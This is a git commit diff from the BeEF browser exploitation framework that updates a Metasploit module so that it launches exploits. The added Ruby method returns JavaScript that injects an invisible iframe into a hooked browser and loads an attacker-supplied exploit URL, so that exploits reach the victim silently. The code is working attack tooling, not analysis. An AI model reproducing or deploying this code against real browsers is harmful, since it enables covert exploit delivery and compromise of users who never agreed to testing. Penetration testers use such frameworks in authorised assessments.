update of msf module to make it launch exploits
git-svn-id: https://beef.googlecode.com/svn/trunk@1359 b87d56ec-f9c0-11de-8c8a-61c5e9addfc9
This commit is contained in:
@@ -16,5 +16,25 @@
|
||||
|
||||
# This is a dummy module to fool BeEF's loading system
|
||||
class Msf_module < BeEF::Core::Command
|
||||
def output
|
||||
|
||||
command = BeEF::Core::Models::Command.first(:id => @command_id)
|
||||
data = JSON.parse(command['data'])
|
||||
sploit_url = data[0]['sploit_url']
|
||||
|
||||
return "
|
||||
beef.execute(function() {
|
||||
var result;
|
||||
|
||||
try {
|
||||
var sploit = beef.dom.createInvisibleIframe();
|
||||
sploit.src = '#{sploit_url}';
|
||||
} catch(e) {
|
||||
for(var n in e)
|
||||
result+= n + ' ' + e[n] ;
|
||||
}
|
||||
|
||||
});"
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
Reference in New Issue
Block a user